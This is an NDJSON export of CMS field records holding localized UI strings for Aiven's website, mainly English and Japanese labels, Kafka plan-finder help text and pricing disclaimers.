{"_createdAt":"2023-05-25T14:17:14Z","_id":"38ab540e-930d-4fed-85b3-006d54029128","_rev":"PafZ7If3abxFAfZNOXvf9n","_type":"field","_updatedAt":"2023-05-29T07:13:11Z","name":"securityNetwork","value":{"_type":"localeString","en":"Security \u0026 Network","ja":"セキュリティとネットワーク"}}
{"_createdAt":"2023-05-25T14:16:39Z","_id":"757d83a1-5a2a-4127-a020-d70d18777891","_rev":"PafZ7If3abxFAfZNOXvjEv","_type":"field","_updatedAt":"2023-05-29T07:13:34Z","name":"managed","value":{"_type":"localeString","en":"Managed","ja":"マネージドサービス"}}
{"_createdAt":"2023-05-22T09:05:31Z","_id":"1b307256-5edd-4cdf-b4ca-a41b46a113fe","_rev":"IpnbDuG6FYGmZQ2TBNa0n5","_type":"field","_updatedAt":"2023-05-22T12:08:05Z","name":"incomingDataVolume","value":{"_type":"localeString","en":"Incoming data volume","ja":"受信データ量 "}}
{"_createdAt":"2023-10-17T07:29:14Z","_id":"69e251ce-e453-4bd3-b63c-f370a8049c99","_rev":"eymHymupXZZZ08HQS5KLDH","_type":"field","_updatedAt":"2023-10-17T07:29:14Z","name":"watchVideo","value":{"_type":"localeString","en":"Watch video"}}
{"_createdAt":"2023-09-27T09:20:52Z","_id":"5859b472-6010-4359-b4aa-aff2d0a40c9f","_rev":"rpwBSMa1i11HwZnbWsszMz","_type":"field","_updatedAt":"2023-09-27T09:20:52Z","name":"ctaForum","value":{"_type":"localeString","en":"Join the community"}}
{"_createdAt":"2023-10-11T07:55:59Z","_id":"b5f2b1a2-b772-4bac-b060-73c6fca68bd9","_rev":"2kdHlkdSUBBOABFqNNNhBv","_type":"field","_updatedAt":"2023-10-11T07:55:59Z","name":"workshop","value":{"_type":"localeString","en":"Workshop"}}
{"_createdAt":"2023-10-26T08:10:31Z","_id":"2b71713b-0f52-4363-abce-1d92b3df7388","_rev":"tLcgKZL18qfyYELSyhzBxe","_type":"field","_updatedAt":"2023-10-26T08:10:31Z","name":"EngineerBannerTitle","value":{"_type":"localeString","en":"Experience Aiven Platform firsthand"}}
{"_createdAt":"2023-10-26T08:11:16Z","_id":"f9187281-56c4-4f3c-8fa8-333baa6ad66c","_rev":"dWOXoeBNhMRLotF8JYyR1b","_type":"field","_updatedAt":"2023-10-26T08:11:16Z","name":"EngineerBannerCTATitle","value":{"_type":"localeString","en":"Get started with Aiven Platform"}}
{"_createdAt":"2023-11-01T10:06:08Z","_id":"2be28729-4def-449a-baf7-32075c1d1a3c","_rev":"gpV4rQ1RP6Oi5x5QrKug4h","_type":"field","_updatedAt":"2023-11-01T10:06:08Z","name":"email","value":{"_type":"localeString","en":"Email"}}
{"_createdAt":"2023-10-17T07:28:27Z","_id":"c3ab2505-a645-4287-b6ed-9c21da6bd5ad","_rev":"YchETsjFZqXXcMnazKGyi0","_type":"field","_updatedAt":"2023-10-17T07:28:27Z","name":"downloadEbook","value":{"_type":"localeString","en":"Download e-book"}}
{"_createdAt":"2023-10-17T07:28:51Z","_id":"e6817421-c437-4418-84f1-5e7b2e7316ec","_rev":"YchETsjFZqXXcMnazKGz2A","_type":"field","_updatedAt":"2023-10-17T07:28:51Z","name":"watchWebinar","value":{"_type":"localeString","en":"Watch webinar"}}
{"_createdAt":"2023-10-17T09:49:18Z","_id":"157a86e4-936d-4acc-b588-a41b89490757","_rev":"oVKLF5tNtw07ELMy9lXKV8","_type":"field","_updatedAt":"2023-10-17T09:49:18Z","name":"results","value":{"_type":"localeString","en":"results"}}
{"_createdAt":"2023-01-05T08:53:05Z","_id":"882aeceb-115b-4ae6-b103-f0ee841c59bb","_rev":"E3l20vRSvwhCawbkeOPi20","_type":"field","_updatedAt":"2023-09-15T09:21:10Z","name":"webinar","value":{"_type":"localeString","en":"Webinar"}}
{"_createdAt":"2023-11-07T13:24:46Z","_id":"9568a145-f418-4002-816e-3f37dd14840b","_rev":"gpV4rQ1RP6Oi5x5QrX38jv","_type":"field","_updatedAt":"2023-11-07T13:24:46Z","name":"relatedResources","value":{"_type":"localeString","en":"Related resources"}}
{"_createdAt":"2023-12-07T13:16:43Z","_id":"33efa7f2-265e-4c77-90a5-a1ba2451eb5f","_rev":"A6877bpl8a6IECeaPo0E1i","_type":"field","_updatedAt":"2023-12-07T13:16:43Z","name":"titleWorkshops","value":{"_type":"localeString","en":"Explore our workshops"}}
{"_createdAt":"2023-12-18T11:52:44Z","_id":"5e4daeb7-acff-4b1d-9843-e5f6ed78dc86","_rev":"7oPGYyiRG7hm5kP9hcAkbC","_type":"field","_updatedAt":"2023-12-18T11:53:01Z","name":"kafkaConnectSourceLine1","value":{"_type":"localeString","en":"Integrate existing","fr":"Intégrer les connecteurs","ja":"既存のものを統合する"}}
{"_createdAt":"2023-12-18T11:53:16Z","_id":"e53319da-0a7b-466c-93c8-7bfca8b29f07","_rev":"7oPGYyiRG7hm5kP9hcAwV6","_type":"field","_updatedAt":"2023-12-18T11:56:02Z","name":"kafkaConnectSourceLine2","value":{"_type":"localeString","en":"source connectors","fr":"d'évier existants","ja":"シンクコネクタ"}}
{"_createdAt":"2024-10-03T10:17:17Z","_id":"b689c57e-cc99-4280-a47b-c09d0078261a","_rev":"3SRg6Iy6hWKGXoyRSgOs3u","_type":"field","_updatedAt":"2024-10-03T10:17:17Z","name":"press","value":{"_type":"localeString","en":"Press"}}
{"_createdAt":"2023-03-17T13:18:30Z","_id":"101eb8c6-78f0-46e5-b8f4-a93e946e0621","_rev":"tLcgKZL18qfyYELSygtNbZ","_type":"field","_updatedAt":"2023-10-25T07:29:15Z","name":"serviceTitle","value":{"_type":"localeString","en":"[THE COMPLETE AIVEN PLATFORM](/platform)","ja":"Aivenのトータルプラットフォーム"}}
{"_createdAt":"2024-04-29T13:48:18Z","_id":"58572ef0-41fe-40ca-a5c0-3a575f2b1f22","_rev":"Ih2kuAPAt2qu3zuk15fhyZ","_type":"field","_updatedAt":"2024-04-29T13:48:51Z","name":"serve","value":{"_type":"localeString","en":"Serve","ja":"サーブ"}}
{"_createdAt":"2024-05-24T12:28:49Z","_id":"1deacb57-5350-42fb-a996-d7a97e3fe952","_rev":"kvD2acrBmFSZeMYobhyj7p","_type":"field","_updatedAt":"2024-05-24T12:28:49Z","name":"podcast","value":{"_type":"localeString","en":"Podcast"}}
{"_createdAt":"2024-05-24T12:32:30Z","_id":"68b5a2b5-bd28-41ff-94a1-40a0f7906824","_rev":"kvD2acrBmFSZeMYobhz2vA","_type":"field","_updatedAt":"2024-05-24T12:32:30Z","name":"watchPodcast","value":{"_type":"localeString","en":"Watch podcast"}}
{"_createdAt":"2022-11-09T11:32:05Z","_id":"634a8065-dc2d-4249-bd2a-3df91599793c","_rev":"LoIDMXrOVwNddwV7RCLMan","_type":"field","_updatedAt":"2022-12-07T12:50:05Z","name":"flinkLine2","value":{"_type":"localeString","en":"stream processing","ja":"状態遷移型ストリーム処理"}}
{"_createdAt":"2024-03-11T11:14:49Z","_id":"6896f243-6429-4272-8a26-6c9a28fc02ae","_rev":"2QvLnXP36WAnQ13A3sgcLI","_type":"field","_updatedAt":"2024-03-14T19:11:35Z","name":"titleCollections","value":{"_type":"localeString","en":"Latest collections"}}
{"_createdAt":"2023-05-22T08:32:34Z","_id":"00ed009e-c79f-46e3-a044-21507ccfc146","_rev":"IpnbDuG6FYGmZQ2TBMierT","_type":"field","_updatedAt":"2023-05-22T08:33:16Z","name":"planPricing","value":{"_type":"localeString","en":"Plan pricing","ja":"プランの価格"}}
{"_createdAt":"2022-12-02T15:18:29Z","_id":"04561c43-6487-469f-95d8-c73d96b20f73","_rev":"0rD6Phxg3duzic15oEKm4y","_type":"field","_updatedAt":"2022-12-02T15:18:29Z","name":"klawLine2","value":{"_type":"localeString","en":"Apache Kafka topic management","ja":"Apache Kafkaのトピック管理"}}
{"_createdAt":"2023-05-22T09:19:16Z","_id":"117c149d-6137-45a7-a040-cd0c21b2f049","_rev":"IpnbDuG6FYGmZQ2TBNM2Pb","_type":"field","_updatedAt":"2023-05-22T11:19:52Z","name":"kpfUnitOfTimeDesc","value":{"_type":"localeString","en":"This is the period of time you expect to keep messages within your\nKafka cluster. This can range from hours to months and will vary \ndepending on your use case.","ja":"メッセージの保存期間です。Kafkaクラスタ内にメッセージを保持する期間です。\nこれは数時間から数ヶ月の範囲で、ユースケースによって異なります。\n使用用途によって異なります。"}}
{"_createdAt":"2023-05-22T10:58:55Z","_id":"14059a03-4192-4b29-b120-dc5e9a968dd8","_rev":"4JMA3H9bBgAwAcyypUTHdf","_type":"field","_updatedAt":"2023-05-22T10:58:55Z","name":"required","value":{"_type":"localeString","en":"Required","ja":"必須"}}
{"_createdAt":"2022-11-09T11:42:04Z","_id":"17e10d40-6546-474e-aee4-6e341c9eb7cf","_rev":"aJQte7Rd1SiavAM6QwmX2d","_type":"field","_updatedAt":"2022-12-19T12:55:39Z","name":"m3Line2","value":{"_type":"localeString","en":"aggregation","ja":"なアグリゲーション"}}
{"_createdAt":"2022-11-09T11:36:05Z","_id":"1a596523-c69c-4aa1-934c-ec9b4eeafa5f","_rev":"0rD6Phxg3duzic15oFa8qA","_type":"field","_updatedAt":"2022-12-03T19:26:37Z","name":"kafkaConnectImport","value":{"_type":"localeString","en":"Stream data as event streams","ja":"イベントストリームとしてデータを流す"}}
{"__i18n_lang":"en","_createdAt":"2022-06-21T22:42:56Z","_id":"1aed1a0f-26bf-4d73-818e-b2577df56ab2","_rev":"lf1jOsEAA7PAFZMZha5snI","_type":"field","_updatedAt":"2022-09-26T19:43:18Z","name":"footerSocialText","value":{"_type":"localeString","en":"Let's connect","ja":"Let's connect"}}
{"__i18n_lang":"en","_createdAt":"2022-06-21T22:43:50Z","_id":"2174609d-6ae2-4afe-a250-2bbfb2aade19","_rev":"Gz4Wr0YcawlWH0s0v982qH","_type":"field","_updatedAt":"2023-09-05T12:43:36Z","name":"errorTitle","value":{"_type":"localeString","de":"Etwas ist nicht gut gelaufen","en":"We're currently experiencing some technical difficulties","es":"Algo no fue bien","fr":"Quelque chose ne s'est pas bien passé","ja":"何かがうまくいかなかった","ko":"뭔가 잘 안됐어","pt":"Algo não correu bem"}}
{"_createdAt":"2022-08-16T09:40:37Z","_id":"24c2dd2b-e7ac-4fa8-8863-f9f6808a7f62","_rev":"AItYcVmwODXGfe9M0Ev4e6","_type":"field","_updatedAt":"2022-08-16T09:40:37Z","name":"contact","value":{"_type":"localeString","en":"Contact"}}
{"_createdAt":"2023-05-22T09:21:46Z","_id":"2bd5e86c-6e3d-496d-81e0-4cf04be71f00","_rev":"Sutmd0597BicUlBXYJkb1i","_type":"field","_updatedAt":"2023-05-22T09:21:46Z","name":"kpfResultSubtitle","value":{"_type":"localeString","en":"Suggested plans are intended as a starting point; you can always upgrade or downgrade later.","ja":"ご提案プランは出発点としてお考えください。今後、アップグレードもしくはダウングレードすることが可能です。"}}
{"_createdAt":"2023-05-22T09:20:07Z","_id":"648e2d11-f8fb-467b-8ba5-f1a219af9420","_rev":"4JMA3H9bBgAwAcyypUf1Ox","_type":"field","_updatedAt":"2023-05-22T11:46:50Z","name":"kpfReplicationFactorDesc","value":{"_type":"localeString","en":"The replication factor is the number of copies you need of the same\nmessage within your cluster. Kafka is distributed by design and a \nhigher replication factor helps your data to be protected in case one \nof your brokers fails.\n\nIt is recommended that the minimum value is n-1 where n is the number \nof brokers in your cluster. For example, a cluster of 3 would have a \nminimum replication factor of 2.\n\nThis value changes as the cluster grows in size (it is rare that you\nwill need a replication factor of 29 in a 30 node cluster). We recommend \na minimum of 3 and you can configure this within your cluster.","ja":"レプリケーションファクタは、クラスタ内で同じメッセージのコピーが\n必要な数を指します。Kafkaは設計上、分散型であり、レプリケーションファクタを\n高くすると、ブローカーの1つが故障した場合にデータを保護することができます。\n\n推奨される最小値は、クラスタ内のブローカーの数をnとした場合、n-1です。\n例えば、3つのクラスタでは最小の複製ファクターは2になります。\n\nこの値は、クラスタのサイズが大きくなるにつれて変化します（30ノードのクラスタで\n29のレプリケーションファクタが必要になることは稀です）。最低限の推奨値は3であり、\nこの設定はクラスタ内で構成することができます。"}}
{"_createdAt":"2023-05-22T09:07:26Z","_id":"375875e8-e8df-4e56-bd5a-7c42a6745c68","_rev":"4JMA3H9bBgAwAcyypTyM3L","_type":"field","_updatedAt":"2023-05-22T09:07:26Z","name":"mbPerSec","value":{"_type":"localeString","en":"MB/sec","ja":"MB/秒"}}
{"_createdAt":"2023-10-27T12:15:12Z","_id":"3ee4666d-051a-4272-97c4-fc06ecb24a7f","_rev":"1h5Wm5PSHuci3kB9Xs9FF8","_type":"field","_updatedAt":"2023-10-27T12:52:53Z","name":"otherResourcesNote","value":{"_type":"localeString","en":"Dive into our technical guides at [Developer Center](/developer) or get inspired by our [Customer Stories](/case-studies). \n\nStay updated with our monthly newsletters, bringing fresh content directly to your inbox."}}
{"_createdAt":"2023-03-22T10:27:08Z","_id":"3f36737c-f507-4daf-9b7b-bd998f6db4c9","_rev":"1oHBwgBQDb4TFd5EY8hEbC","_type":"field","_updatedAt":"2023-03-22T10:27:08Z","name":"store","value":{"_type":"localeString","en":"Store","ja":"格納"}}
{"_createdAt":"2023-03-29T14:35:05Z","_id":"432d2d81-cad8-4c07-b407-0fa6f71f27cb","_rev":"cjTuTLzi2o5xCqfj97nxFq","_type":"field","_updatedAt":"2023-03-29T14:35:05Z","name":"noSubCategory","value":{"_type":"localeString","en":"No sub-category"}}
{"_createdAt":"2023-05-22T09:05:07Z","_id":"47d5beef-d73e-4f36-8524-9acf07f8a746","_rev":"IpnbDuG6FYGmZQ2TBMpZJz","_type":"field","_updatedAt":"2023-05-22T09:05:07Z","name":"or","value":{"_type":"localeString","en":"or","ja":"または"}}
{"_createdAt":"2023-05-22T09:05:46Z","_id":"4846065d-434c-47fe-b561-809128360482","_rev":"Sutmd0597BicUlBXYKHNz2","_type":"field","_updatedAt":"2023-05-22T11:14:24Z","name":"kpfIncomingDataVolumeDesc","value":{"_type":"localeString","en":"Your expected incoming data volume is based on your number\nof messages per second times the average size of your messages.\nIf unsure how to estimate this value, we recommend discussing \nwith your engineering team.","ja":"予想される受信データ量は、1秒あたりのメッセージ数×メッセージの平均サイズに基づきます。\nこの値の推定方法が不明な場合は、エンジニアリングチームに相談することをお勧めします。"}}
{"_createdAt":"2023-03-17T13:18:59Z","_id":"4cf295e4-3a05-4c23-91f0-a04d7f71f681","_rev":"4JMA3H9bBgAwAcyypZdjHL","_type":"field","_updatedAt":"2023-05-23T12:38:30Z","name":"kpfDisclaimer","value":{"_type":"localeString","en":"Need help? Use our [Kafka plan finder](/kafka-plan-finder) tool to get a recommended Kafka® plan based on your unique data needs and requirements.","ja":"お困りですか。[Kafkaプラン検索(Kafka plan finder)](/ja/kafka-plan-finder)ツールを使用して、お客様独自のデータニーズと要件に基づいた推奨Apache Kafka®プランを確認できます。"}}
{"__i18n_lang":"en","_createdAt":"2022-06-21T22:43:05Z","_id":"4ec667f2-e8be-4908-8dd1-bd5cd01e9728","_rev":"oamrAPLmQLQjd9jh7bXKDe","_type":"field","_updatedAt":"2022-06-21T23:09:27Z","name":"rssSubscribeText","value":{"_type":"localeString","en":"Subscribe to RSS","es":"Suscribirse a RSS"}}
{"_createdAt":"2022-12-02T15:17:55Z","_id":"4f71ad7a-cf0a-4743-962d-bff3eb6fc54d","_rev":"5iTZEBNHx5PwgJLwP9FB3D","_type":"field","_updatedAt":"2022-12-02T15:17:55Z","name":"klawLine1","value":{"_type":"localeString","en":"Data governance tool for","ja":"のためのデータガバナンスツール"}}
{"_createdAt":"2023-09-27T09:20:36Z","_id":"52972b57-1fec-4014-ab33-5e5753ec03dc","_rev":"rpwBSMa1i11HwZnbWst0VF","_type":"field","_updatedAt":"2023-09-27T09:23:21Z","name":"subtitleForum","value":{"_type":"localeString","en":"Questions? Comments? Report a bug? Discuss in the forum!"}}
{"_createdAt":"2022-09-05T09:25:59Z","_id":"52fa60cc-994f-4e34-824b-fb2ff694e6b1","_rev":"nB8tfE2oU2ws1pesUWNnRd","_type":"field","_updatedAt":"2022-09-05T09:26:59Z","name":"downloadPDF","value":{"_type":"localeString","en":"Download case study (PDF)"}}
{"_createdAt":"2022-11-09T08:55:33Z","_id":"53a0c1da-5733-4041-be14-4d5d619d0ec3","_rev":"aJQte7Rd1SiavAM6QwWYID","_type":"field","_updatedAt":"2022-12-19T12:33:19Z","name":"metricsAivenLine2","value":{"_type":"localeString","en":"Aiven services","ja":"から得られる指標"}}
{"_createdAt":"2022-09-05T09:25:49Z","_id":"54aa46f5-2a8c-4186-8eb5-1c8dbf15ec71","_rev":"igV4EyizbLQUdlfb4HQY6n","_type":"field","_updatedAt":"2022-09-05T09:27:06Z","name":"exploreMoreCasesLink","value":{"_type":"localeString","en":"browse all Aiven case studies"}}
{"_createdAt":"2023-03-17T13:44:12Z","_id":"59737f8c-6b27-4a64-a338-31a4a1363e0e","_rev":"RksXZeZKLvjmDTh00zOZFv","_type":"field","_updatedAt":"2023-03-17T13:44:12Z","name":"comparePlans","value":{"_type":"localeString","en":"Compare plans","ja":"プランの比較"}}
{"_createdAt":"2022-09-12T08:33:58Z","_id":"5a941f47-72e2-4796-aca8-3c9264a39e68","_rev":"CK1sLU2mnwa3vmbYWQgQrB","_type":"field","_updatedAt":"2022-09-12T08:33:58Z","name":"readCaseStudyLink","value":{"_type":"localeString","en":"Read the full case study"}}
{"_createdAt":"2023-09-27T09:20:09Z","_id":"5aac3702-f3b8-4bd4-9099-ff0b651f9203","_rev":"rpwBSMa1i11HwZnbWssyyV","_type":"field","_updatedAt":"2023-09-27T09:20:09Z","name":"titleForum","value":{"_type":"localeString","en":"Get in on the conversation"}}
{"_createdAt":"2023-05-12T09:17:14Z","_id":"5e57817c-cea8-4469-8a1a-f42c7e70aa70","_rev":"Sutmd0597BicUlBXYKekHQ","_type":"field","_updatedAt":"2023-05-22T12:33:11Z","name":"ctaAllPlans","value":{"_type":"localeString","en":"See all plans","ja":"すべてのプランを表示"}}
{"_createdAt":"2023-04-21T08:32:45Z","_id":"7452268e-a7f2-444c-9a07-6abc2e15d909","_rev":"rm1pG3T7Eds3n9IIUDzXBc","_type":"field","_updatedAt":"2023-04-21T08:32:45Z","name":"ctaEventList","value":{"_type":"localeString","en":"View all events"}}
{"_createdAt":"2023-03-29T14:32:45Z","_id":"77ddc34c-3c8c-4507-9a6a-a33194dc2b81","_rev":"M4dczs5irsEQMrhVZiM6Jj","_type":"field","_updatedAt":"2023-03-29T14:32:45Z","name":"mainHeroTitle","value":{"_type":"localeString","en":"Aiven Developer Center"}}
{"_createdAt":"2023-01-05T08:53:35Z","_id":"7840a104-9ef9-439d-880f-97f38398460d","_rev":"DbggwV6E2LNVsJXxzrEAfZ","_type":"field","_updatedAt":"2023-01-09T10:41:28Z","name":"livestream","value":{"_type":"localeString","en":"Livestream"}}
{"_createdAt":"2023-05-22T09:27:46Z","_id":"7c402443-fa7f-4b64-9b53-8e740ba43c22","_rev":"4JMA3H9bBgAwAcyypUsUvn","_type":"field","_updatedAt":"2023-05-22T12:35:21Z","name":"kpfResultDisclaimer","value":{"_type":"localeString","en":"*The estimated monthly pricing does not include the price for additional required storage. You can easily calculate cost including additional storage within Aiven console. Note: The est. monthly price can vary depending on the chosen cloud providers.","ja":"*月額の予定価格には、追加で必要なストレージの価格はまれていません。Aivenコンソールでは、追加ストレージを含めたコストを簡単に計算することができます。注：月額の予定価格は、選択したクラウドプロバイダーによって異なる場合があります。"}}
{"_createdAt":"2023-03-17T13:39:26Z","_id":"7c436344-14ff-4c05-b586-28157483fa59","_rev":"1oHBwgBQDb4TFd5EYQAetK","_type":"field","_updatedAt":"2023-03-24T14:12:10Z","name":"planDisclaimer","value":{"_type":"localeString","en":"Pay as you go. [Contact us](/contact) for plan capacity beyond the listed plans.","ja":"従量課金制です。掲載されているプラン以外のキャパシティについては、[お問合せ](/ja/contact)ください。"}}
{"_createdAt":"2022-09-29T09:03:07Z","_id":"7d658c1d-b9c5-47a8-b3cb-e0fde4451dfb","_rev":"tCTpYSXtZaN94JPflO0ijp","_type":"field","_updatedAt":"2022-11-11T15:10:14Z","name":"loadingPageTitle","value":{"_type":"localeString","en":"Loading page","ja":"ページ読み込み中"}}
{"_createdAt":"2023-05-22T09:18:25Z","_id":"811d9748-aa4e-4ffb-8bfd-7f795c748c05","_rev":"IpnbDuG6FYGmZQ2TBNddUh","_type":"field","_updatedAt":"2023-05-22T12:30:44Z","name":"kpfRetentionDesc","value":{"_type":"localeString","en":"Your expected incoming data volume is based on your number\nof messages per second times the average size of your messages.\nIf unsure how to estimate this value, we recommend discussing \nwith your engineering team.","ja":"予想される受信データ量は、1秒あたりのメッセージ数×メッセージの平均サイズに基づきます。\nこの値の推定方法が不明な場合は、エンジニアリングチームに相談することをお勧めします。"}}
{"_createdAt":"2022-08-16T09:39:53Z","_id":"81d8c2ff-9bf9-4a84-b6b9-635670c70148","_rev":"AItYcVmwODXGfe9M0EuxMU","_type":"field","_updatedAt":"2022-08-16T09:39:53Z","name":"loadMore","value":{"_type":"localeString","en":"Load more"}}
{"_createdAt":"2022-10-03T07:01:19Z","_id":"837a508d-5286-40d3-8603-73350471d481","_rev":"vDQRRYe9nRreptIRp9fv7k","_type":"field","_updatedAt":"2022-10-03T07:01:19Z","name":"relatedBlogs","value":{"_type":"localeString","en":"Related blogs"}}
{"_createdAt":"2022-08-16T09:40:28Z","_id":"838fc622-11b6-40f4-96dc-9fdd3918d312","_rev":"AItYcVmwODXGfe9M0Ev3Bm","_type":"field","_updatedAt":"2022-08-16T09:40:28Z","name":"aivenInTheNews","value":{"_type":"localeString","en":"Aiven in the news"}}
{"_createdAt":"2023-05-12T11:57:16Z","_id":"87e1460d-8ca7-4be5-bf0c-cbfac2091665","_rev":"Sutmd0597BicUlBXYK6ifg","_type":"field","_updatedAt":"2023-05-22T10:35:21Z","name":"customPlanContactDisclaimer","value":{"_type":"localeString","en":"There are no standard plans for your specified data needs. Please [contact sales](/contact?department=1306714) so we can help you find a plan beyond the listed options.","ja":"お客様の指定されたデータのニーズに対する標準プランはありません。記載されている以外のプランもご提案できますので、お問合せ](/ja/contact?department=1306714)ください。"}}
{"_createdAt":"2023-03-22T10:26:17Z","_id":"9f0e510f-f33d-4ea9-8c1e-7f63dcb4dba2","_rev":"1oHBwgBQDb4TFd5EY8h50T","_type":"field","_updatedAt":"2023-03-22T10:26:17Z","name":"stream","value":{"_type":"localeString","en":"Stream","ja":"ストリーム"}}
{"_createdAt":"2023-10-30T14:55:30Z","_id":"8cd1db4f-09d5-4304-ac9d-17a45e245443","_rev":"NgTOJkLjRz9tfm3Yda62K2","_type":"field","_updatedAt":"2023-10-30T14:55:30Z","name":"share","value":{"_type":"localeString","en":"Share"}}
{"_createdAt":"2022-11-09T11:40:05Z","_id":"9188cb27-846e-454b-801e-d120e7407c0d","_rev":"3re4XGUaXqpLG8nUTs4fKo","_type":"field","_updatedAt":"2022-12-19T15:34:15Z","name":"integratedAivenServices","value":{"_type":"localeString","en":"Integrated Aiven services","ja":"Aivenの統合サービス"}}
{"_createdAt":"2022-11-09T11:40:37Z","_id":"93c9b281-6b01-49ff-9cba-70aafbd87311","_rev":"K0rtrsNuqDEgCtVQHVR9I6","_type":"field","_updatedAt":"2022-12-19T15:50:14Z","name":"extensions","value":{"_type":"localeString","en":"Extensions","ja":"拡張機能"}}
{"_createdAt":"2022-11-09T11:31:29Z","_id":"99d1b4ce-628a-4120-847d-6afe53eb9516","_rev":"ElrRHx5al3kb1PwLXRmH7d","_type":"field","_updatedAt":"2022-12-03T19:29:47Z","name":"schemaRegistry","value":{"_type":"localeString","en":"Schema Registry","ja":"スキーマ レジストリ"}}
{"_createdAt":"2023-03-29T14:29:52Z","_id":"9cdb4b79-b405-4182-bdaf-88c5a8dbf7a7","_rev":"iIDWKhYkmLI2REfIiL6p2e","_type":"field","_updatedAt":"2023-03-29T14:29:52Z","name":"titleTech","value":{"_type":"localeString","en":"Explore by technology"}}
{"_createdAt":"2022-12-27T09:25:17Z","_id":"a773c41e-80df-46c2-820a-1b07d4981996","_rev":"cmQvgZcsUwgFEQbM1OHhqB","_type":"field","_updatedAt":"2022-12-28T10:30:07Z","name":"nowRunning","value":{"_type":"localeString","en":"Now running","ja":"現在実行中"}}
{"_createdAt":"2023-10-17T07:28:04Z","_id":"a805fc64-97e5-4ebb-be4b-f38acc3d120a","_rev":"oVKLF5tNtw07ELMy9lTFze","_type":"field","_updatedAt":"2023-10-17T07:28:14Z","name":"downloadWhitepaper","value":{"_type":"localeString","en":"Download white paper"}}
{"_createdAt":"2023-03-17T13:43:16Z","_id":"aa7183da-0431-4baf-a7fe-d3d108e17b61","_rev":"1oHBwgBQDb4TFd5EYOYNXi","_type":"field","_updatedAt":"2023-03-24T08:54:44Z","name":"startingFrom","value":{"_type":"localeString","en":"starting from","ja":"最低利用価格"}}
{"_createdAt":"2023-05-11T13:40:42Z","_id":"bc36b98b-e77c-4507-bd4a-a36eeae7e19a","_rev":"CehdQyS8z5lmiPrCVCVHiC","_type":"field","_updatedAt":"2023-05-11T13:40:42Z","name":"extraStorageTooltip","value":{"_type":"localeString","en":"Within Aiven console, you can book additional storage by yourself without switching plans."}}
{"_createdAt":"2022-09-29T12:43:21Z","_id":"bc553811-ad25-41f3-8388-9aff40a2dcc3","_rev":"vDQRRYe9nRreptIRp2rJ0m","_type":"field","_updatedAt":"2022-09-29T12:43:21Z","name":"getAccess","value":{"_type":"localeString","en":"Get access"}}
{"_createdAt":"2022-12-02T15:27:30Z","_id":"bc6a4539-2d62-4b89-9c2f-91069f914fe2","_rev":"BgX4ZkoG52SPdBmuThBqvd","_type":"field","_updatedAt":"2022-12-03T19:04:02Z","name":"kafkaCoreLine2","value":{"_type":"localeString","en":"framework","ja":"フレームワーク"}}
{"_createdAt":"2022-09-05T09:20:05Z","_id":"b09f2c03-f1d2-46d3-bbfa-5f522770b4c2","_rev":"E0WcOAmhawew35VucCVszw","_type":"field","_updatedAt":"2023-01-10T05:23:22Z","name":"readCaseStudy","value":{"_type":"localeString","en":"Read case study","ja":"ケーススタディを読む（英語）"}}
{"_createdAt":"2022-09-12T15:06:23Z","_id":"b6e4ce74-f95a-4c34-bff9-0f900215b6df","_rev":"XMqVxILwpPMz4xYxcCJ5CQ","_type":"field","_updatedAt":"2022-10-03T06:36:41Z","name":"getDirection","value":{"_type":"localeString","en":"Get direction","ja":"地図を見る"}}
{"_createdAt":"2022-10-21T08:57:59Z","_id":"badddfa3-83cb-4479-8d4e-f8bedf42dbca","_rev":"ITaY4hq23Yly5lipEsGp7W","_type":"field","_updatedAt":"2022-10-21T08:57:59Z","name":"show","value":{"_type":"localeString","en":"Show"}}
{"_createdAt":"2022-09-05T09:26:15Z","_id":"bb293188-0014-402e-a3e1-7419d36c1a66","_rev":"2a0x8ZFmDOgprY7cLzADpW","_type":"field","_updatedAt":"2022-09-05T09:26:15Z","name":"allCaseStudies","value":{"_type":"localeString","en":"All case studies"}}
{"_createdAt":"2022-11-09T08:50:59Z","_id":"c33dec84-f0ab-4761-8995-93c460339d9c","_rev":"yEepckykK41PbFrRNlpsPq","_type":"field","_updatedAt":"2022-11-11T16:30:51Z","name":"logs","value":{"_type":"localeString","en":"Logs","ja":"ログ"}}
{"_createdAt":"2023-03-29T14:30:35Z","_id":"c712d892-2d0a-454e-b01c-4a42eaaecbee","_rev":"M4dczs5irsEQMrhVZiLxpN","_type":"field","_updatedAt":"2023-03-29T14:30:35Z","name":"titleUseCase","value":{"_type":"localeString","en":"Explore by use case"}}
{"_createdAt":"2023-05-12T11:54:12Z","_id":"c8a61280-7351-44a5-8f98-0b21517f3b9c","_rev":"Sutmd0597BicUlBXYK6Whc","_type":"field","_updatedAt":"2023-05-22T10:34:13Z","name":"customPlanDisclaimer","value":{"_type":"localeString","en":"Annual commitments are eligible for a discount. Custom plans available, [contact sales](/contact?department=1306714).","ja":"年間契約は割引の対象となります。カスタムプランもございますので、[お問合せ](/ja/contact?department=1306714)ください。"}}
{"_createdAt":"2022-09-05T09:20:21Z","_id":"c973db9a-8471-4412-bf14-71588ce02689","_rev":"2a0x8ZFmDOgprY7cLz9Hb0","_type":"field","_updatedAt":"2022-09-05T09:20:21Z","name":"close","value":{"_type":"localeString","en":"Close"}}
{"_createdAt":"2023-05-22T08:34:31Z","_id":"cba57f40-f139-4b4d-b298-34354f19934c","_rev":"Sutmd0597BicUlBXYJYqtA","_type":"field","_updatedAt":"2023-05-22T08:34:31Z","name":"kpfCalcTitleStep1","value":{"_type":"localeString","en":"Data volume","ja":"データ量"}}
{"_createdAt":"2023-09-20T14:07:01Z","_id":"cd496fe2-63ec-4afd-ab00-affde22d5520","_rev":"kaQ4ZWos4gq6sBfd7vChfD","_type":"field","_updatedAt":"2023-09-22T15:55:57Z","name":"staticIpTooltip","value":{"_type":"localeString","en":"${price}/hour per IP. E.g., 3 VM requires 6 IPs","ja":"IPアドレス1つあたりの1時間の料金は${price}ドルです。例えば、3つのVMサービスプランには6つのIPアドレスが必要です。"}}
{"_createdAt":"2023-03-17T13:43:53Z","_id":"cdb511b6-4849-486d-9d17-8be402c17f86","_rev":"RksXZeZKLvjmDTh00zOT8x","_type":"field","_updatedAt":"2023-03-17T13:43:53Z","name":"hour","value":{"_type":"localeString","en":"hour","ja":"時間"}}
{"_createdAt":"2023-10-17T07:18:46Z","_id":"ce950244-708d-4dee-860f-fd8f45cf3fab","_rev":"YchETsjFZqXXcMnazKGfug","_type":"field","_updatedAt":"2023-10-17T07:18:46Z","name":"watchWorkshop","value":{"_type":"localeString","en":"Explore workshop"}}
